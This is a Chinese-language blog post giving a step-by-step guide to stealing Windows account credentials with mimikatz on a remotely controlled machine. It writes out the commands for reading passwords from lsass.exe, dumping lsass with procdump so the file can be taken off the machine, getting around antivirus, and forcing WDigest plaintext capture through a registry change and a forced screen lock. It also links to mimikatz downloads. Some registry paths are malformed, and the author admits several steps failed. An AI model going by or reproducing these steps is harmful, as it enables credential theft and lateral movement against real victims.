mimikatz的使用

向右看齐 2022-11-27 10:12 123阅读 0赞

### 目录 ###

*   *  1：远程连接使用
     *  2：本地使用
     *  注意：
     *   *  1、版本问题
         *  2、运行权限
         *  3、抓取范围
         *  4、抓不到密码的解决方法
     *  mimikatz下载链接

mimikatz是个好东西，它的功能很多，最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了，微软知道后已经准备了补丁，lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。

使用方法：

## 1：远程连接使用 ##

控制远程的服务器后，‘帮助’对方下载mimikatz，然后以管理员身份运行

privilege::debug   提取权限
    sekurlsa::logonpasswords   抓取密码

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center]  
这里抓到了administrator的账号，密码是null，说明没设密码；当然，最大的可能是没抓到密码。解决方法可以看看`注意的第四点`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1]

## 2：本地使用 ##

如果对方电脑开了防火墙，装了杀毒软件，如360，火绒，nod32之类的话。可能就不能在对方电脑上使用mimikatz  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2]  
前面说过，mimikatz是从 lsass.exe进程中获取windows的账号及密码的，  
这时，我们可以帮对方安装一个procdump64.exe（这是微软自己的工具，可以放心使用）

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件，再把这个dmp文件传回来，最后在自己的环境下运行mimikatz，从 dmp文件里读取信息。

1、安装procdump64.exe

2、从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、将lsass.dmp传回本地

4、使用本地的mimikatz.exe读取lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

我没有搞成功，就不贴图了

可以参考这几篇文章  
[http://www.hackdig.com/07/hack-55560.htm][http_www.hackdig.com_07_hack-55560.htm]  
[https://www.cnblogs.com/kuaile1314/p/12288476.html][https_www.cnblogs.com_kuaile1314_p_12288476.html]

## 注意： ##

### 1、版本问题 ###

文件夹里有两个版本，一个是对应32位系统的，一个是64位系统的。搞混了是抓不到信息的

![在这里插入图片描述][20200814205812463.png_pic_center]

### 2、运行权限 ###

一定要用管理员身份运行

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3]

不然会提示权限不够

![在这里插入图片描述][20200814210131268.png_pic_center]

### 3、抓取范围 ###

因为它是从 lsass.exe进程中获取windows的账号密码，而每次关机重启后，lsass进程中的账号信息都会清空

所以只能抓到上次关机后登录过的账号密码的信息

### 4、抓不到密码的解决方法 ###

以下操作都在`cmd`里进行

1.  开启Wdigest Auth服务

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

1.  强制锁屏

rundll32 user32.dll,LockWorkStation

1.  等待目标系统管理员重新登录
2.  截取明文密码
3.  关闭Wdigest Auth服务

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

但是我在写的时候出错了，说无效项名，也不知道啥原因  
百度半天也没解决这个问题，暂时先记下来，等找到解决方案了再写  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4]

## mimikatz下载链接 ##

1、[百度云盘][Link 1]，提取码是 kcuh  
2、[csdn][]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center]: /images/20221124/d849ce92db134142ace4f671942c3f6c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221124/e9b44dc7c7924cfaa8dbcae303930d53.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221124/9e8b3ea34eaa4d9682a0921f9e7ad66b.png
[http_www.hackdig.com_07_hack-55560.htm]: http://www.hackdig.com/07/hack-55560.htm
[https_www.cnblogs.com_kuaile1314_p_12288476.html]: https://www.cnblogs.com/kuaile1314/p/12288476.html
[20200814205812463.png_pic_center]: /images/20221124/451688ec54bc4845aa1823e97cf3ac14.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221124/3b5d4dbbad0c40318f2395f713783eb6.png
[20200814210131268.png_pic_center]: /images/20221124/d5b53158bf8f4a4993677b70e87d5ffd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221124/5910a6b3428e4d0494ccc7e79341c7a9.png
[Link 1]: https://pan.baidu.com/s/1IrwD1q_gReZyO1lxI_agvw
[csdn]: https://download.csdn.net/download/weixin_45663905/12713682